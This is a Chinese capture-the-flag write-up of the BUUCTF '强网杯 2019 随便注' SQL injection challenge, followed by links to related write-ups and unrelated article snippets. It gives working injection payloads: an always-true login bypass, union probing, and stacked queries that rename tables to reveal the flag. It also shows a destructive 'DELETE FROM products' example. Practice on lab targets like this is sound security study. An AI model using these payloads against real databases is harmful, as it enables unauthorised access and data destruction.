【BUUCTF】强网杯 2019随便注1 write up

输入万能密码1' or 1=1# ,判断存在sql注入,

SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台。
万能密码原理:
万能密码能够绕过sql检测,在sql数据库中,运算符也是有优先级的,=优先于and,and优先于or,简单来说1=‘1’恒成立,因此返回值永远为True,且在SQL语法中 # 是注释符,所以后面的语句都会被注释掉。
我们尝试输入1,2,3,到3报错,说明字段数只有2个
尝试联合注入union,
判断显示位:
判断语句:
1' union select 1,2-- -
一直判断到报错
输入1′ union select 1,2 # 回显一个正则过滤规则

由回显的信息得出 select被过滤,无法联合注入
拓展:
PHP 中的 preg_match() 函数可以根据正则表达式对字符串进行搜索匹配,函数的语法格式如下:
preg_match($pattern,$subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])
preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
尝试堆叠注入,查询数据库
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

输入1';show databases;# ,成功回显 ,说明存在堆叠注入。
接下来查询表名:

成功回显,得到两个表 :words和1919810931114514
查询表中字段:输入1'; show columns from words; #

表名为数字时,要用反引号包起来查询。

看到了flag,如何回显flag呢?
1,通过 rename 先把 words 表改名为其他的表名(word)。
2,把 1919810931114514 表的名字改为 words 。
3,将 flag列 改名为 id
(4,或者将flag列改名为data)
如下:1,1';rename table words to word;
2,rename table `1919810931114514` to words;
3, alert table words change flag id varchar (100);#(4,alter table `words` add id int(10);alter table `words` change flag data varchar(20);#)
5,最后输入1’ or 1=1 # 查看所有内容(我试了试字符用不用反引号好像都行),大家看自己的情况吧!最好加上,免得出错)


【BUUCTF】强网杯 2019随便注1 write up的更多相关文章
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
- [BUUOJ记录] [强网杯 2019]随便注(三种方法)
本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...
- 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- WriteUp_easy_sql_堆叠注入_强网杯2019
题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...
- [原题复现]2019强网杯WEB-随便注(多种方法)
简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli 考察知识点:SQL注入漏洞-堆叠注入 线上平台:https://buuoj.cn( ...
- [强网杯2019]upload buuoj
提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...
- [强网杯 2019]Upload
0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
随机推荐
- 03、如何理解Kafka和Zookeeper的关系
001.Kafka简介 Apache Kafka最早是由Linkedin公司开发,后来捐献给了Apack基金会. Kafka被官方定义为分布式流式处理平台,因为具备高吞吐.可持久化.可水平扩展等特性而 ...
- Django设计模式(MVC/MVT)
Django设计模式(MVC/MVT) 目的:了解什么是MVC,MVT 思考:为什么要用设计模式 分工.解耦,让不同的代码块之间降低耦合,增强代码的可扩展性和可移植性,实现向后兼容. MVC: M全拼 ...
- Mac10.13-10.15 下玩星际争霸1.16
星际争霸DMG 存储在城通网盘,下载后挂载,复制到 应用程序 里就可以玩了 1, ctfile://xturlDG9QOlg_V29WOwI8UzEKZQdjUWEOOFJ7VCEHYFIxBzlTY ...
- 【OA致远】流程表单中选择集团角色
- 大数据分析——matplotlib
参考链接:https://blog.csdn.net/xavier_muse/article/details/83859272 fig,ax = plt.subplots()等价于: fig = pl ...
- Astra-20190405
Usage: astra.py [-h] [-c COLLECTION_TYPE] [-n COLLECTION_NAME] [-u URL] [-headers HEADERS] [-method ...
- NX 二次开发,线性移动uf5943
#include <uf.h> #include <uf_modl.h> #include <uf_part.h> #include <uf_modl_pri ...
- meta标签整理大全
一.H5标准声明,使用 HTML5 doctype,不区分大小写 <!DOCTYPE html> 二. 标准的 lang 属性写法 <head lang="en" ...
- react 获取文件流导出功能
记录一下: 根据后台接口返回的文件流,前端实现导出下载,使用(react+ts) 1.请求方法 (这里写法绕开拦截器) // 导出日志 export async function exportLog( ...
- css/js使用小技巧记录
1.白底小图标换色 .iconBox { position: relative; width: 19px; height: 19px; overflow: hidden; // 隐藏原本颜色的图片 . ...